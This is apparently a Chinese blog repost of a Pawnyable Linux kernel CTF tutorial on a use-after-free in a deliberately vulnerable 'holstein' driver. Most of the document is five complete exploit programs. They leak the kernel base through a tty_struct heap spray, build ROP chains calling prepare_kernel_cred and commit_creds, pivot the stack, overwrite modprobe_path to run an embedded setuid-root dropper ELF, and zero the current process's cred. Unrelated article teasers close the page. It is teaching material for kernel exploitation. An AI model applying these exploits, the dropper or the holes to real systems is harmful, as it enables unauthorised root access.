0012-TIPS-pawnyable : Use-After-Free

news2024/7/2 20:17:37

原文
Linux Kernel PWN | 040203 Pawnyable之UAF
https://pawnyable.cafe/linux-kernel/LK01/use_after_free.html
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

漏洞分析

驱动可以被同时打开多次,g_buf指向最后一次打开时分配的堆对象 g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

第一次打开驱动

给g_buf分配堆空间
在这里插入图片描述

第二次打开驱动

module_open中,会在g_buf重新分配堆对象
在这里插入图片描述

关闭其中一个fd

close(fd),会调用module_close,将当前指向g_buf的堆对象空间释放掉,
同时可以通过堆喷占据g_buf释放掉的堆对象,
由于module_close在释放g_buf堆对象时,没有赋值NULL,可以通过另一个fdmodule_close对g_buf指向的堆对象进行读写,也就是修改堆喷对象占据的堆空间,从而进行利用提权。

在这里插入图片描述

漏洞利用

利用方式与0011-TIPS-pawnyable : Heap-Overflow一致

01_leak_kbase_and_heap

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define ofs_tty_ops 0xc39c60

unsigned long kbase;
unsigned long g_buf;

int main() {
    int spray[100];
    int fd1 = open( "/dev/holstein" , O_RDWR);
    int fd2 = open( "/dev/holstein" , O_RDWR);
    close(fd1); // free(g_buf)

    for (int i = 0; i < 100; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    getchar();

    for (int i = 0; i < 100; i++)
        close(spray[i]);

    return 0;
}

02_exploit_bypass_kaslr_smap_smep

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define push_rdx_pop_rsp_pop_ret (kbase + 0x14fbea)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    puts("[*] UAF-1: open fd1, fd2; close fd1");
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);   // <---------------- 通过 fd2进行操作
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain\n");
    unsigned long *chain = (unsigned long *)&buf;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret; // 

    printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n");
    write(fd2, buf, 0x400);


    puts("[*] UAF-2: open fd3, fd4; close fd3");
    int fd3 = open("/dev/holstein", O_RDWR);
    int fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n");
    read(fd4, buf, 0x400);
    *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
    write(fd4, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0, g_buf - 8);
    }

    getchar();
    close(fd2);
    close(fd4);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

03_exploit_userland_pivoting

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_esp_0x39000000_ret (kbase + 0x5b5410)
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
int spray[SPRAY_NUM];

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    puts("[*] UAF-1: open fd1, fd2; close fd1");
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) {
        printf("[-] heap spraying failed\n");
        exit(-1);
    }

    char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if ((unsigned long *)userland == (unsigned long *)-1)
        fatal("mmap");
    printf("[+] 0x%lx address mmaped\n", (unsigned long)userland);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain from 0x39000000\n");
    unsigned long *chain = (unsigned long *)0x39000000;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = mov_esp_0x39000000_ret; // fake ops ioctl
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    int fd3 = open("/dev/holstein", O_RDWR);
    int fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n");
    read(fd4, buf, 0x20);
    *(unsigned long *)&buf[0x18] = 0x39000000;
    write(fd4, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0, 0);
    }

    getchar();
    close(fd2);
    close(fd4);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

04_exploit_aaw_modprobe

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
#define modprobe_path (kbase + 0xe38480)

int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
char win_condition[] = "/tmp/evil";

/*
 * Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
 * Dropper...:
 * fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
 * write(fd, shellcode, shellcodeLen);
 * chmod("/tmp/win", 0x4755);
 * close(fd);
 * exit(0)
 *
 * ... who drops some shellcode ELF:
 * setuid(0);
 * setgid(0);
 * execve("/bin/sh", ["/bin/sh"], NULL);
 */
unsigned char dropper[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00,
    0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
    0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
    0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
    0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
    0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
    0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
    0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
    0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
    0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
    0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
    0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
    0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
    0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
    0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
    0xe6, 0xb0, 0x3b, 0x0f, 0x05};

int cache_fd = -1;

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    if (cache_fd == -1) {
        read(fd4, buf, 0x400);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], val, addr /* rdx */);
            if (v != -1) {
                printf("[+] target tty_struct index: #%d\n", i);
                cache_fd = spray[i];
                break;
            }
        }
    } else
        ioctl(cache_fd, val, addr);
}

int main() {
    puts("[*] UAF: open fd1, fd2; close fd1");
    fd1 = open("/dev/holstein", O_RDWR);
    fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
        printf("[-] heap spraying failed\n");
        for (int i = 0; i < SPRAY_NUM / 2; i++)
            close(spray[i]);
        exit(-1);
    }

    *(unsigned long *)&buf[0x3f8] = mov_ptr_rdx_rcx_ret;
    write(fd2, buf, 0x400);

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    fd3 = open("/dev/holstein", O_RDWR);
    fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    for (int i = 0; i < sizeof(win_condition); i += 4)
        AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);

    FILE *fptr = fopen(win_condition, "w");
    if (!fptr) {
        puts("[!] Failed to open win condition");
        exit(-1);
    }
    if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
        puts("[!] Failed to write win condition");
        exit(-1);
    }
    fclose(fptr);
    if (chmod(win_condition, 0777) < 0) {
        puts("[!] Failed to chmod win condition");
        exit(-1);
    };
    puts("[+] win_condition (dropper) written to /tmp/evil");

    puts("[*] triggering modprobe");
    system("chmod +x /tmp/evil");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn"); // trigger modprobe_path

    puts("[*] spawning root shell");
    system("/tmp/win");

    return 0;
}

05_exploit_aar_aaw_cred

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];

int cache_fd_aaw = -1;
int cache_fd_aar = -1;

unsigned int AAR32(unsigned long addr) {
    if (cache_fd_aar == -1) {
        read(fd4, buf, 0x20);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], 0, addr /* rdx */);
            if (v != -1) {
                cache_fd_aar = spray[i];
                return v;
            }
        }
    } else
        return ioctl(cache_fd_aar, 0, addr);
}

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    if (cache_fd_aaw == -1) {
        read(fd4, buf, 0x20);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f0 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], val, addr /* rdx */);
            if (v != -1) {
                cache_fd_aaw = spray[i];
                break;
            }
        }
    } else
        ioctl(cache_fd_aaw, val, addr);
}

int main() {
    puts("[*] UAF-1: open fd1, fd2; close fd1");
    fd1 = open("/dev/holstein", O_RDWR);
    fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
        printf("[-] heap spraying failed\n");
        for (int i = 0; i < SPRAY_NUM / 2; i++)
            close(spray[i]);
        exit(-1);
    }

    *(unsigned long *)&buf[0x3f0] = mov_ptr_rdx_rcx_ret;
    *(unsigned long *)&buf[0x3f8] = mov_eax_ptr_rdx_ret;
    write(fd2, buf, 0x400);

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    fd3 = open("/dev/holstein", O_RDWR);
    fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    puts("[*] changing .comm");
    if (prctl(PR_SET_NAME, "aptx4869") != 0)
        fatal("prctl");

    unsigned long addr;
    for (addr = g_buf - 0x1000000;; addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            printf("[*] searching for .comm at 0x%lx\n", addr);

        if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {
            printf("[+] .comm found at 0x%lx\n", addr);
            break;
        }
    }

    unsigned long addr_cred = 0;
    addr_cred |= AAR32(addr - 8);
    addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
    printf("[+] current->cred = 0x%lx\n", addr_cred);

    puts("[*] changing cred to root");
    for (int i = 1; i < 9; i++)
        AAW32(addr_cred + i * 4, 0);

    puts("[*] spawning root shell");
    system("/bin/sh");

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/669096.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【踩坑】Windows11安装WSL2,然后装miniconda

Windows11安装WSL2 跟着官方文档一步步来就完事了&#xff0c;你要在vscode上用还是用docker都有教程微软WSL文档 遇到问题 Installing, this may take a few minutes… WslRegisterDistribution failed with error: 0x80370102 Please enable the Virtual Machine Platform W…

chatgpt赋能python:Python收费怎么办?

Python收费怎么办&#xff1f; Python是一门非常流行的编程语言&#xff0c;特别是在数据科学和机器学习领域中。许多人使用Python来编写自己的应用程序和脚本&#xff0c;但是有些人会对Python的收费问题感到困惑。本文将介绍Python的收费情况以及如何解决这个问题。 Python…

Shell - 02_shell的自定义变量

一、shell的自定义变量 1.定义变量&#xff1a;变量名变量值 如&#xff1a;num10 2.引用变量&#xff1a;$变量名 如&#xff1a;i$num 把变量 num 的值付给变量 i 3.显示变量&#xff1a;使用 echo 命令可以显示单个变量取值 如&#xff1a;echo $num 4.清除变量&…

高校学生公寓安全用电物联网平台的应用

摘要:本文针对高校学生公寓用电特点,从安全用电角度提出了一套集用电管理、计量、恶性负载智能识别控制、实时跟踪检测等功能于一体的数字化安全用电管理系统技术解决方案———学生公寓智能控电管理系统。 关键词:公寓恶性负载安全用电智能系统 0、引言 近年来,为了响应国家…

webpack编译打包

1.安装webpack npm install webpack webpack-cli --save-dev 2.添加命令 在package.json文件中添加启动命令 3.打包 webpack.config.js文件 通过配置文件构建&#xff1a;npx webpack --config webpack.config.js 4.文件结构 src:用于存放代码&#xff0c;一般入口为index.…

HQChart实战教程64-自定义分时图标题栏

HQChart实战教程64-自定义分时图标题栏 分时图标题栏步骤1. 替换分时图标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码分时图标题栏 分时图标题栏显示的是当前十字光标所在位置的分钟信息,显示在分时图窗口顶部。一般会显示品种的名称,日期,时间…

android内部存储和外部存储

我们在开发Android应用的过程中&#xff0c;避免不了要用到数据持久化技术&#xff0c;所谓的数据持久化就是将RAM中的瞬时数据保存到ROM中&#xff0c;保证在App退出或者手机关机后数据不会丢失。我们常用的数据持久化的方式有文件存储&#xff0c;数据库存储&#xff0c;Shar…

动手实现条件随机场(下)

引言 本文基于PyTorch实现条件随机场&#xff0c;实现CRF层参考论文Neural Architectures for Named Entity Recognition中关于CRF层的描述。包含大量的图解和例子说明&#xff0c;看完一定能理解&#xff01; 论文地址&#xff1a; https://arxiv.org/pdf/1603.01360.pdf 也可…

chatgpt赋能python:Python搜索算法:如何提高你的搜索体验

Python 搜索算法&#xff1a;如何提高你的搜索体验 在当今信息爆炸的时代&#xff0c;搜索已成为许多人获取信息的主要途径。而 Python 的搜索算法&#xff0c;也在此背景下日渐受到重视。本篇文章将深入探讨 Python 搜索算法&#xff0c;介绍以及如何使用它来提高你的搜索体验…

SpringBoot整合模板引擎Thymeleaf(5)

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 概述 在本节教程中&#xff0c;我们在之前案例的基础上详细介绍利用Thymeleaf实现国际化。 项目结构 依赖文件 请在pom.xml文件中添加如下依赖。 <?xml version"…

Android 9 蓝牙协议初始化

先讲一下Application类的使用 要使用自定义的Application&#xff0c;首先就是要自己新建一个Application的子类&#xff0c;然后把它的名字写在manifest文件里面的application标签里的android:name属性就行&#xff0c;如我的Application子类名字是BaseApplication&#xff0c…

java入门3(程序流程结构)

目录 大部分和C语言一样 顺序结构 选择结构 简单if语句 ​ 多重if结构 嵌套if结构 Switch选择结构 if和Switch嵌套 循环结构 while循环 do while 语句 for循环 break和continue break 中断指令&#xff0c;结束所在层的循环 continue:中断指令 中断本轮的循环&…

chatgpt赋能python:Python收发短信:简单可靠的解决方案

Python收发短信&#xff1a;简单可靠的解决方案 如果您需要向客户发送定期提醒或通知的短信&#xff0c;则 Python 是一种简单易用的解决方案。在本文中&#xff0c;我们将介绍如何使用 Python 发送和接收短信&#xff0c;并探讨一些流行的短信 API。 什么是短信 API&#xf…

深入分析vfio-user设备实现原理 —— Client侧

文章目录 前言数据结构protocolVFIOUserHdrvfio_user_commandVFIOUserHdr flags 设备模型VFIODeviceVFIODevIOVFIOContIO VFIOPCIDeviceVFIOKernPCIDeviceVFIOUserPCIDevice proxyVFIOUserMsgVFIOProxy 流程详解消息发松流程DMA映射流程 前言 数据结构 protocol VFIO User P…

「解析」YOLOv4模型小结

